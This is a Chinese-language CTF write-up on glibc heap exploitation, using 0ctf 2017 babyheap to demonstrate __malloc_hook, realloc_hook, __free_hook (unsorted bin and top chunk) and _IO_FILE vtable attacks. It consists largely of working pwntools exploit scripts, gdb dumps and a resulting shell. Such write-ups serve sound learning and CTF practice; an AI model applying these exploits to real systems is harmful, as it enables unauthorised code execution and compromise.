- malloc_hook
- realloc_hook+free_hook
- free_hook
- unsorted_bin+free_hook
- io_finsh
- io_overflow
接下来就以0ctf-babyheap-2017来做例题进行讲解
分析的过程在我的另一篇文章上就有说明,这里就不再进行分析,主要是讲方法
1.malloc_hook
第一种是最简单的方法,就是将malloc_hook覆盖为one_gadget,因为在malloc_hook不为空的时候会进行跳转,具体的可以参考我的另一篇文章
上面的方法虽然很简单但是当one_gadget不可用的时候就会很鸡肋,这就需要借助一个巧妙的办法来使得one_gadget的条件成立
2.realloc_hook+one_gadget:
我们首先来看一下realloc_hook的汇编代码:
0x7f064d9456c0 <__GI___libc_realloc>: push r15
0x7f064d9456c2 <__GI___libc_realloc+2>: push r14
0x7f064d9456c4 <__GI___libc_realloc+4>: push r13
0x7f064d9456c6 <__GI___libc_realloc+6>: push r12
0x7f064d9456c8 <__GI___libc_realloc+8>: mov r13,rsi
0x7f064d9456cb <__GI___libc_realloc+11>: push rbp
0x7f064d9456cc <__GI___libc_realloc+12>: push rbx
0x7f064d9456cd <__GI___libc_realloc+13>: mov rbx,rdi
0x7f064d9456d0 <__GI___libc_realloc+16>: sub rsp,0x38
0x7f064d945786 <__GI___libc_realloc+198>: pop rbp
0x7f064d945787 <__GI___libc_realloc+199>: pop r12
0x7f064d945789 <__GI___libc_realloc+201>: pop r13
0x7f064d94578b <__GI___libc_realloc+203>: pop r14
0x7f064d94578d <__GI___libc_realloc+205>: pop r15
push和pop是对应的,我们可以控制push的数量来抬高栈,促使one_gadget条件成立
exp:
add(0x18)#0
add(0x18)#1
add(0x60)#2
add(0x18)#3
edit(0,0x18+0x8,0x18*'a'+p64(0x91))
free(1)
add(0x18)
show(2)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78
log.success("libc_base:"+hex(libc_base))
free_hook = libc_base+0x3c67a8
malloc_hook = libc_base+libc.symbols["__malloc_hook"]
sys_addr = libc_base+libc.symbols["system"]
realloc_hook = libc_base +libc.symbols["__libc_realloc"]
one = 0x4526a+libc_base
print ("realloc_hook:"+hex(realloc_hook))
add(0x60)#4-->2
free(2)
edit(4,0x8,p64(malloc_hook-0x23))
add(0x60)#2
add(0x60)#5
edit(5,27,11*'a'+p64(one)+p64(realloc_hook))
print("one:"+hex(one))
add(0x20)
p.interactive()
我们将断点设在one_gadget处,当realloc+0的时候,查看rsp的值:
x/32gx $rsp
0x7ffd36626fe8: 0x00007f83e17068ef 0x0000000000000000
0x7ffd36626ff8: 0x1999999999999999 0x00007f83e1a48780
0x7ffd36627008: 0x00007f83e17792c0 0x000000000000000a
0x7ffd36627018: 0xffffffffffffffff 0x0000000005a476a3
0x7ffd36627028: 0x0000000000000000 0x0000000000000014
0x7ffd36627038: 0x000055ab3dbd6a40 0x00007ffd366271b0
0x7ffd36627048: 0x0000000000000000 0x0000000000000000
0x7ffd36627058: 0x00007f83e1706fba 0x0000000000000000
0x7ffd36627068: 0x0000000000000000 0x00007ffd366270b0
0x7ffd36627078: 0x000055ab3dbd6a40 0x00007ffd366271b0
0x7ffd36627088: 0x000055ab3dbd6dd1 0x0000000000000000
0x7ffd36627098: 0x0000226b753c7940 0x0000001400000006
0x7ffd366270a8: 0x2aafbfb0eff03100 0x00007ffd366270d0
0x7ffd366270b8: 0x000055ab3dbd717a 0x00007ffd366271b0
0x7ffd366270c8: 0x0000226b753c7940 0x000055ab3dbd73e0
0x7ffd366270d8: 0x00007f83e16a2830 0x0000000000000001
我们发现此时rsp+0x30处的值为0xffffffffffff
接下来我们进行调试发现当realloc+8的时候rsp+0x30处的值为0,满足
x/32gx $rsp+0x30
0x7ffedaf67958: 0x0000000000000000 0x00007ffedaf679a0
0x7ffedaf67968: 0x0000000000000000 0x0000000000000014
0x7ffedaf67978: 0x00007fbf3f52bfba 0x0000000000000000
0x7ffedaf67988: 0x0000000000000000 0x00007ffedaf679d0
0x7ffedaf67998: 0x000055bafd130a40 0x00007ffedaf67ad0
0x7ffedaf679a8: 0x000055bafd130dd1 0x0000000000000000
0x7ffedaf679b8: 0x000050a8748e18c0 0x0000001400000006
0x7ffedaf679c8: 0xd328f8938e9f4700 0x00007ffedaf679f0
0x7ffedaf679d8: 0x000055bafd13117a 0x00007ffedaf67ad0
0x7ffedaf679e8: 0x000050a8748e18c0 0x000055bafd1313e0
0x7ffedaf679f8: 0x00007fbf3f4c7830 0x0000000000000001
0x7ffedaf67a08: 0x00007ffedaf67ad8 0x000000013fa96ca0
0x7ffedaf67a18: 0x000055bafd13111d 0x0000000000000000
0x7ffedaf67a28: 0xf800aceb67378041 0x000055bafd130a40
0x7ffedaf67a38: 0x00007ffedaf67ad0 0x0000000000000000
0x7ffedaf67a48: 0x0000000000000000 0xac88e321b4f78041
效果
Command: $ 1
Size: $ 20
$ ls
0ctf_2017_babyheap baby2.py baby3.py baby4.py baby.py core
$
3.free_hook
free_hook和malloc_hook差不多,都会首先检查其内的值是否为空,若不为空则跳转,但是调试可以发现free_hook上方有好多0,不能直接覆盖free_hook为想要的地址,这里就有两种方法来实现向free_hook内写值,我们发现在free_hook-0xb58处又可以利用的值
1.覆盖top_chunk为free_hook-0xb58
2.利用unsortedbinattarck在free_hook上方写入数据
首先第一种:
exp:
add(0x18)#0
add(0x18)#1
add(0x68)#2
add(0x18)#3
payload = 0x18*'a'+p64(0x91)
edit(0,len(payload),payload)
free(1)
add(0x18)
show(2)
addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print(hex(addr))
libc_base = addr - 0x3c4b78
print(hex(libc_base))
malloc_hook = libc.symbols["__malloc_hook"]+libc_base
free_hook = libc.symbols["__free_hook"]+libc_base
sys_addr = libc.symbols["system"]+libc_base
add(0x68)#4-->2
add(0x18)#5
add(0x88)#6
add(0x18)#7
free(6)
payload = 0x18*'a'+p64(0x91)+p64(0)+p64(free_hook-0x23) #unsorted bin attrack
edit(5,len(payload),payload)
add(0x88)#6
free(2)
payload = p64(free_hook-0x16) #fastbin attrack
edit(4,len(payload),payload)
add(0x60)#2
add(0x60)#8
edit(8,0x6+0x8,"a"*0x6+p64(sys_addr))
edit(0,0x8,"/bin/sh\x00")
free(0)
当我们进行unsorted bin attrack时,观察free_hook上方发现
x/32gx 0x7f09382a77a8-0x13
0x7f09382a7795 <_IO_stdfile_0_lock+5>: 0x00007f09382a5b78 0x0000000000000000
已成功写入main_arena+88的地址,同时我们还发现在0x7f09382a77a8-0x13-0x3
处为:
x/32gx 0x7f09382a77a8-0x13-0x3
0x7f09382a7792 <_IO_stdfile_0_lock+2>: 0x09382a5b78000000 0x000000000000007f
这时候就可以结合fastbinattrack来获取shell
其次第二种,即改变topchunk的值来进行getshell
我们发现在free_hook-0xb58处有可以利用的值,那我们可以改变topchunk处的值为free_hook-0xb58这样在下次分配的时候就是分配的free_hook-0xb58处的块,经过多次分配就可以分配到free_hook,从而改变free_hook的值进行getshell
exp:
add(0x18)#0
add(0x18)#1
add(0x68)#2
add(0x18)#3
payload = 0x18*'a'+p64(0x91)
edit(0,len(payload),payload)
free(1)
add(0x18)
show(2)
addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print(hex(addr))
libc_base = addr - 0x3c4b78
print(hex(libc_base))
malloc_hook = libc.symbols["__malloc_hook"]+libc_base
free_hook = libc.symbols["__free_hook"]+libc_base
add(0x68)#4--->2
free(2)
edit(4,0x8,p64(malloc_hook-0x3-0x8)) #fastbin attrack
add(0x68)#2
add(0x68)#5 -->malloc
payload = (0x60+0x3)*"\x00"+p64(free_hook-0xb58)
edit(5,len(payload),payload)
for i in range(6):
add(0x200)
payload = '\x00'*(0xa0+0x58)+p64(libc.symbols["system"]+libc_base)
edit(11,len(payload),payload)
edit(0,8,"/bin/sh\x00")
free(0)
在这里我做的时首先进行fastbinattrack,申请到malloc_hook上方的块,然后通过填充填充到topchunk,改变topchunk的值
未改变之前topchunk的值:
0x7f2816c6bb70 <main_arena+80>: 0x0000000000000000 0x00005579f8b410d0
改变之后topchunk 的值
0x7ff38d95eb70 <main_arena+80>: 0x0000000000000000 0x00007ff38d95fc50
然后我们进行多次申请就可以申请到free_hook处的位置进行getshell
4.IO_FILE
这里有两种攻击方法(或许有更多种)
1.io_overflow
将虚表地址设置为IO_str_jumps地址,fd+0xe0设置为one_gadget即可完成利用
exp:
add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x18)#3
edit(0,0x18+0x8,0x18*'a'+p64(0xb1))
free(1)
add(0x18)
show(2)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78
print "libc_base: "+hex(libc_base)
sys_addr = libc_base+0x45390
io_list = 0x3c5520+libc_base
jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
sh_addr = 0x18cd57+libc_base
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
one = o_g[1]+libc_base
print "jump:"+hex(jump)
print "io_list:"+hex(io_list)
print "sys_addr:"+hex(sys_addr)
payload = 0x10*'a'+p64(0)+p64(0x61)+p64(0)+p64(io_list-0x10)+p64(0)+p64(1)
payload += p64(0)+p64(0)
payload = payload.ljust(0xc8,"\x00")
payload += p64(0)*4
payload += p64(jump)+p64(one)
edit(1,len(payload),payload)
add(0x60)
我们伪造的fp:
$1 = {
file = {
_flags = 0x0,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x0,
_IO_read_base = 0x7f338aea9510 "",
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f338aea77a0 <_IO_str_jumps>
}
当程序崩溃时回调哟偏移为0xe0处的值即触发one_gadget
2.io_finsh
同之前io_overflow类似,io_finish会以_IO_buf_base处的值为参数跳转至fd+0xe8处的值。
设置虚表地址为io_str_jump-0x8(异常总会调用虚标+0x18处的函数)
设置_IO_buf_base为bin/sh字符串地址,设置0xe8偏移处为system函数。
相较io_overflow不会有one_gadget不可用的情况。
exp:
add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x18)#3
edit(0,0x18+0x8,0x18*'a'+p64(0xb1))
free(1)
add(0x18)
show(2)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78
print "libc_base: "+hex(libc_base)
sys_addr = libc_base+0x45390
io_list = 0x3c5520+libc_base
jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
sh_addr = 0x18cd57+libc_base
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
one = o_g[1]+libc_base
print "jump:"+hex(jump)
print "io_list:"+hex(io_list)
print "sys_addr:"+hex(sys_addr)
payload = 0x10*'a'+p64(0)+p64(0x61)+p64(0)+p64(io_list-0x10)+p64(0)+p64(1)
payload += p64(0)+p64(sh_addr)
payload = payload.ljust(0xc8,"\x00")
payload += p64(0)*4
payload += p64(jump-0x8)+p64(0)+p64(sys_addr)
edit(1,len(payload),payload)
add(0x60)
伪造的fp:
$1 = {
file = {
_flags = 0x0,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x0,
_IO_read_base = 0x7f69ecad3510 "",
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x7f69ec89ad57 "/bin/sh",
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f69ecad1798
当程序崩溃时会调用偏移0xe8处的值,从而获取shell
可以注意到,IO_file attack 的利用并不是百分百成功,必须要libc的低32位地址为负时,攻击才会成功,原因还是出在fflush函数的检查里,它第二步才是跳转,第一步的检查,在arena里的伪造file结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负时,才会check失效
网友评论